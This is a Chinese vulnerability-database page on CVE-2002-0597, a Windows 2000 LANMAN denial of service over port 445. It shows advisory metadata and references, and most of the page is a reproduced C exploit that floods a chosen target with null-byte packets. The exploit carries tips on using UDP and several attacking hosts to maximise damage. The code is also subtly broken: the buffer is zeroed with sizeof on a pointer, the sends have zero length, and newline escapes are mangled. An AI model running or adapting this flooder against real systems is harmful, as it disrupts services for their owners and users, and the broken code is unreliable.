Microsoft Windows LANMAN服务服务拒绝(CPU/内存消耗)漏洞

Microsoft Windows LANMAN服务服务拒绝(CPU/内存消耗)漏洞

漏洞ID 1106684 漏洞类型 未知
发布时间 2002-04-17 更新时间 2005-05-02
图片[1]-Microsoft Windows LANMAN服务服务拒绝(CPU/内存消耗)漏洞-安全小百科CVE编号 CVE-2002-0597
图片[2]-Microsoft Windows LANMAN服务服务拒绝(CPU/内存消耗)漏洞-安全小百科CNNVD-ID CNNVD-200206-043
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/21388
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200206-043
|漏洞详情
MicrosoftWindows2000中LANMAN服务存在漏洞。远程攻击者借助microsoft-ds端口445的一连串畸形数据导致服务拒绝(CPU/内存消耗)。
|漏洞EXP
source: http://www.securityfocus.com/bid/4532/info

An issue has been discovered in Windows 2000, which could cause a denial of system services.

Submitting malformed data to port 445 could cause the Lanman service to consume high CPU and Kernel mode memory usage. 

/********************************************************
* 	Microsoft Windows 2000 Remote DoS 		*
*	---------------------------------		*
*							*
* Hello :)						*
* This is an DoS exploit that utilizes the flaw found 	*
* by KPMG Denmark, to crasch or hang any Win2k box 	*
* running the LanMan server on port 445 (ms-ds).  	*
* What it does is just a simple 10k NULL string		*
* bombardment of port 445 TCP or UDP.			*
*							*
*			                                *
* By: Daniel Nystrom <[email protected]>		*
* Download: www.telhack.tk / exce.darktech.org		*
*							*
* Suggestions: When performing the attack, use UDP if 	*
*	       you are attacking from a single host. 	*
*	       TCP only eats about 35% CPU on an AMD	*
*	       Athlon XP 1800+ while UDP eats 99%.      *
*	       So if TCP is the only option, use more   *
*	       than one attacking host. All in all this *
*              DoS is "pretty weak" and should be used  *
*              from more than one host in each attack   *
*              to get the best result.                  *
*							*
* Compiles on: Linux (Debian 2.2r6 and RH 7.3 tested).  *
*              Should compile on other *nix's as well.  *
*							*
* Thanks: Peter Grundl, for answering my Q's :)         *
*							*
* greets: xenogen, ifa-, zeromatic, RTJ, all@telhack    *
*							*
********************************************************/

#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <errno.h>

#define MICROSOFT_DS_PORT 445

unsigned long resolveTarget(char nstarget[]);


int main(int argc, char *argv[])
{
        int sock;
	int count;
	struct sockaddr_in target;
	unsigned short port = MICROSOFT_DS_PORT;
	char *nullbuffer;


	printf("%c[41m", 0x1B);
	fprintf(stdout, "n--[ excE's Remote Microsoft Windows 2000 DoS (microsoft-ds)n"); 
	printf("%c[0m", 0x1B);
	fprintf(stdout, "-----------------------------------------------------------n");

        if(argc != 4)
        {
                fprintf(stderr, "--[ Invalid number of parameters!n");
                fprintf(stderr, "--[ Usage: %s <Server IP> <TCP/UDP> <Send Count>n", argv[0]);
                fprintf(stderr, "--[ Forex: %s 127.0.0.1 UDP 10000nn", argv[0]);
                exit(-1);
        }

	nullbuffer = (char *) malloc(10*1024*sizeof(char));
	bzero(nullbuffer,sizeof(nullbuffer));
	
	fprintf(stdout, "--[ Starting attack on %s...n", argv[1]);

	memset(&target, 0, sizeof(target));
	target.sin_family 	= AF_INET;
	target.sin_addr.s_addr 	= resolveTarget(argv[1]);
	target.sin_port		= htons(port);


	if(argv[2][0] == 'U')
	{
		if((sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
		{
			perror("socket() failed ");
			exit(-1);
		}
	
		fprintf(stdout, "--[ Sending NULL byte string * %d via UDPn", atoi(argv[3]));

		for(count=0;count<atoi(argv[3]);count++)
		{
		    if(sendto(sock, nullbuffer, strlen(nullbuffer), 0, (struct sockaddr *) &target, sizeof(target)) != strlen(nullbuffer))
		    {
				perror("sendto() failed ");
				exit(-1);
		    } else { printf("."); } 
		}
		close(sock);
		printf("n");
	}
	 else if(argv[2][0] == 'T')
	{
		
		fprintf(stdout, "--[ Connecting and sending NULL byte string * %d...n", atoi(argv[3]));
		 
		if((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
		{
			perror("socket() failed ");
			exit(-1);
		}

		if(connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0)
		{
			perror("connect() failed ");
			exit(-1);
		}

		for(count=0;count<atoi(argv[3]);count++)
		{ 
			if(send(sock, nullbuffer, strlen(nullbuffer), 0) != strlen(nullbuffer))
			{
				perror("send() failed ");
				exit(-1);
			} else { printf("."); }

		}
		close(sock);
		printf("n");
	} else
	{
		fprintf(stderr, "--[ Error: You must define a protocol (TCP or UDP)nn");
		exit(-1);
	}

	fprintf(stdout, "--[ Finished flooding target!n");
	fprintf(stdout, "--[ http://www.telhack.tkn");
	
	return 0;
}

unsigned long resolveTarget(char nstarget[])
{
	struct hostent *targetname;

	if((targetname=gethostbyname(nstarget)) == NULL)
	{
		fprintf(stderr, "--[ Name lookup failed. Please enter a valid IP or hostnamen");
		exit(-1);
	}

	return *((unsigned long *) targetname->h_addr_list[0]);
}
|参考资料

来源:US-CERTVulnerabilityNote:VU#693099
名称:VU#693099
链接:http://www.kb.cert.org/vuls/id/693099
来源:BID
名称:4532
链接:http://www.securityfocus.com/bid/4532
来源:BUGTRAQ
名称:20020417KPMG-2002011:Windows2000microsoft-dsDenialofService
链接:http://online.securityfocus.com/archive/1/268066
来源:XF
名称:win2k-lanman-dos(8867)
链接:http://www.iss.net/security_center/static/8867.php
来源:MSKB
名称:Q320751
链接:http://support.microsoft.com/default.aspx?scid=kb;%5BLN%5D;Q320751
来源:OSVDB
名称:5179
链接:http://www.osvdb.org/5179
来源:VULNWATCH
名称:20020417[VulnWatch]KPMG-2002011:Windows2000microsoft-dsDenialofService
链接:http://archives.neohapsis.com/archives/vulnwatch/2002-q2/0025.html

相关推荐: Microsoft IIS Malformed HTTP Get Request Denial Of Service Vulnerability

Microsoft IIS Malformed HTTP Get Request Denial Of Service Vulnerability 漏洞ID 1104882 漏洞类型 Failure to Handle Exceptional Condition…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享